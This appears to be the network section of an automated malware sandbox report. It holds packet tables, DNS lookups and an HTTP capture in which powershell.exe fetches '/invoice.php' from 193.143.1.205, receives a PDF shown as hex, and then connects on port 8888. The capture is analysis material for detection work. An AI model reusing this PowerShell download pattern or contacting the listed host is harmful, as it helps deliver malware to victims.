Jan 11, 2025 06:04:48.908937931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908972979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908986092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.908991098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.908998013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909018040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909029007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909038067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909041882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909065962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909106016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909117937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909128904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909145117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909146070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909178019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909193039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909205914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909224987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909226894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909235954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909254074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909262896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909276009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909286976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909303904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909326077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.909344912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909357071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.909399986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941201925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941232920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941247940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941262007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941277981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941288948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941291094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941340923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941358089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941369057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941380978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941400051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941414118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941418886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941426039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941437960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941438913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941452980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941472054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941478014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941489935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941500902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941521883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941575050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941586971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941598892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941611052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941622019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941623926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941663027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941694021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941714048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941725016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941735983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941740990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941751957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941764116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941766977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941802979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941807985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941819906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941832066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941840887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941842079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941870928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941940069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941951990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941963911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941982031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.941989899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.941994905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942012072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942017078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942042112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942143917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942156076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942173004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942183018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942187071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942200899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942210913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942214012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942226887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942240000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942245007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942269087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942275047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942286015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942298889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942315102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942343950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942367077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942380905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942394018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942414999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942595959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942608118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942620993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942632914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942643881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942645073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942656040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942661047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942667961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942678928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942689896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942689896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942711115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942718029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942723989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942729950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942743063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942755938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942759037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942768097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942780018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942797899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942820072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.942944050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942955017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942967892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942980051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.942992926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943000078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943005085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943017960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943042040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943042040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943079948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943099022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943110943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943111897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943124056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943136930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943149090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943150997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943164110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943202972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943214893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943228006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943243027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943268061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.943286896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.943577051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.974244118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974268913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974281073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974287987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974375963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.974380970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974392891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974405050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974406004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.974416971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.974455118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.998763084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998776913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998788118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998807907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998820066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998831987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998846054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998893023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.998945951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.998967886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998984098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.998996973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999007940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999027967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999039888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999044895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.999052048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999063015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999079943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999090910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.999094009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999106884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999119043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999130964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999130964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.999144077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999155998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.999155998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.999186993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031162024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031186104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031198978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031209946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031222105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031239033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031254053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031260014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031266928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031274080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031296968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031348944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031451941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031462908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031475067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031491041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031492949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031503916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031516075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031516075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031528950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031538963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:49.031546116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.031560898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.077256918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.332739115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:49.604000092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:50.069856882 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:50.074800014 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:50.074949980 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:50.075258970 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:50.081172943 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:50.890369892 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:50.937638044 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:51.092123985 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:04:57.712152958 CET	62880	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:04:57.712152958 CET	192.168.2.5	1.1.1.1	0x4db7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:04:57.720942020 CET	1.1.1.1	192.168.2.5	0x4db7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:58.488178015 CET	1.1.1.1	192.168.2.5	0xc6b5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:02.365920067 CET	1.1.1.1	192.168.2.5	0xbd17	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:02.365920067 CET	1.1.1.1	192.168.2.5	0xbd17	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2828	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:04:47.487071037 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:04:48.274106026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:04:48.274132013 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:04:48.274143934 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:04:48.274317026 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:04:48.274329901 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
